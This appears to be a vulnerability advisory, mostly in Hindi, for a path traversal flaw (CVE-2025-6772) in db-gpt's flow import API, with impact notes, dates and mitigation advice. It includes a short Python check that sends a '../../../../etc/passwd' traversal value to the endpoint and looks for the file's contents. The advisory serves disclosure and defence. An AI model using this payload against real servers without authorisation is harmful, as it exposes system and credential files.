eosphoros-ai db-gpt आयात आयात_फ्लो पथ पारगमन

यह पथ पारगमन भेद्यता हमलावरों को db-gpt सर्वर पर मनमाने ढंग से फ़ाइलों को पढ़ने की अनुमति देती है। हमलावर संवेदनशील डेटा, कॉन्फ़िगरेशन फ़ाइलों या अन्य महत्वपूर्ण जानकारी तक पहुँच सकते हैं। यदि हमलावर सिस्टम पर लिखने की अनुमति प्राप्त कर सकता है, तो वह दुर्भावनापूर्ण कोड भी इंजेक्ट कर सकता है या सिस्टम को पूरी तरह से नियंत्रित कर सकता है। इस भेद्यता का शोषण दूर से किया जा सकता है, जिससे यह विशेष रूप से खतरनाक हो जाता है। यह भेद्यता संभावित रूप से अन्य प्रणालियों में भी फैल सकती है यदि db-gpt का उपयोग अन्य अनुप्रयोगों के साथ एकीकृत किया गया है।

Organizations deploying db-gpt in production environments, particularly those with publicly accessible API endpoints, are at risk. Shared hosting environments where multiple users share the same server instance are also particularly vulnerable, as a compromise of one user's instance could lead to access to other users' data. Systems using older, unpatched versions of db-gpt are most susceptible.

• python / server:

import os
import requests

url = 'http://your-db-gpt-server/api/v2/serve/awel/flow/import'

# Attempt path traversal
file_param = 'File=../../../../etc/passwd'

# Send the request
response = requests.post(url, data={'import_flow': file_param})

# Check for sensitive file content in the response
if 'root:' in response.text:
    print('Potential Path Traversal Detected!')
else:
    print('No Path Traversal Detected.')

1. 2025-06-27Disclosure

   disclosure

1. आरक्षित2025-06-27
2. प्रकाशित2025-06-27
3. EPSS अद्यतन2026-03-23

CVE-2025-6772 को कम करने के लिए, db-gpt को तुरंत संस्करण 0.7.3 में अपडेट करें। यदि अपग्रेड करना संभव नहीं है, तो फ़ाइल आयात फ़ंक्शन तक पहुँच को सीमित करने के लिए वेब एप्लिकेशन फ़ायरवॉल (WAF) या प्रॉक्सी का उपयोग करें। इनपुट सत्यापन को लागू करें ताकि यह सुनिश्चित किया जा सके कि फ़ाइल पथ वैध हैं और उनमें पथ पारगमन अनुक्रम नहीं हैं। सर्वर पर फ़ाइल सिस्टम अनुमतियों को सख्त करें ताकि केवल अधिकृत उपयोगकर्ताओं को ही संवेदनशील फ़ाइलों तक पहुँच प्राप्त हो। अतिरिक्त सुरक्षा के लिए, फ़ाइल आयात फ़ंक्शन को अक्षम करने पर विचार करें यदि इसका उपयोग आवश्यक नहीं है। अपडेट के बाद, यह सुनिश्चित करने के लिए कि भेद्यता ठीक हो गई है, फ़ाइल आयात फ़ंक्शन का परीक्षण करें।